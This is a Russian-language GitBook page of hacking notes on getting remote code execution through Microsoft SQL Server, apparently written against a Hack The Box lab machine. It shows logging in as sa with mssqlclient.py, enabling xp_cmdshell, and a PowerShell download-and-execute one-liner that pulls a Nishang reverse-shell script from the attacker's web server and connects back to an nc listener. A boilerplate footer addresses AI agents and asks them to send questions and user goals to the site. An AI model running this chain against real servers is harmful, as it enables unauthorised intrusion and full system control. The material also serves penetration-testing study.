> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/ports-and-services/mssql-1433/mssql-exploitation-rce.md).

# MSSQL — эксплуатация RCE

Удалённое выполнение команд MSSQL через mssqlclient.py, xp\_cmdshell, размещённые полезные нагрузки PowerShell и обратные шеллы.

## Эксплуатация MSSQL (Microsoft SQL)

**Порт 1433 (MSSQL)**

Порт 1433 открыт, что указывает на то, что сервер Microsoft SQL Server слушает. Проверьте доступ с пользователями, найденными в ходе перечисления.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cba86d8714d6def3d684c427814913efc072de8c%2F%7B5DAC77A9-4CF2-4701-A954-52F22B15CFB8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Проверка подключения к MSSQL**

Используйте `mssqlclient.py` чтобы попробовать подключиться:

```powershell
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c481178b1e4ee92beda48fe460c5839b8cd12f38%2Fimage%20(2731).png?alt=media" alt=""><figcaption></figcaption></figure>

**Результат**: Работает только `sa` пользователь.

```powershell
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-127cffbab2f7e4df09550de2205e1adc1b9d13b7%2Fimage%20(2732).png?alt=media" alt=""><figcaption></figcaption></figure>

### Обратная оболочка через MSSQL

**Включение выполнения команд**

Для выполнения системных команд включите `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

Затем проверьте простой командой, например `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d5fa6ec378e5541d44c4f4424229e671e9a37bb%2Fimage%20(2733).png?alt=media" alt=""><figcaption></figcaption></figure>

**Подготовка к прослушиванию на нашей машине**

Запустите слушатель на порту 4444:

```bash
rlwrap nc -nvlp 4444
```

**Загрузка сценария PowerShell**

Подготовьте сценарий PowerShell с именем `PS.ps1` который содержит функцию обратной оболочки:

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

В конце сценария добавьте следующую строку:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

Разместите этот сценарий на локальном веб-сервере:

```bash
python3 -m http.server 80
```

**Выполнение обратной оболочки**

На сервере MSSQL выполните следующую команду, чтобы загрузить и запустить сценарий PowerShell:

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd06e3bfd2b980f961548ba2f6492e7282750fa4%2Fimage%20(2734).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/ports-and-services/mssql-1433/mssql-exploitation-rce.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
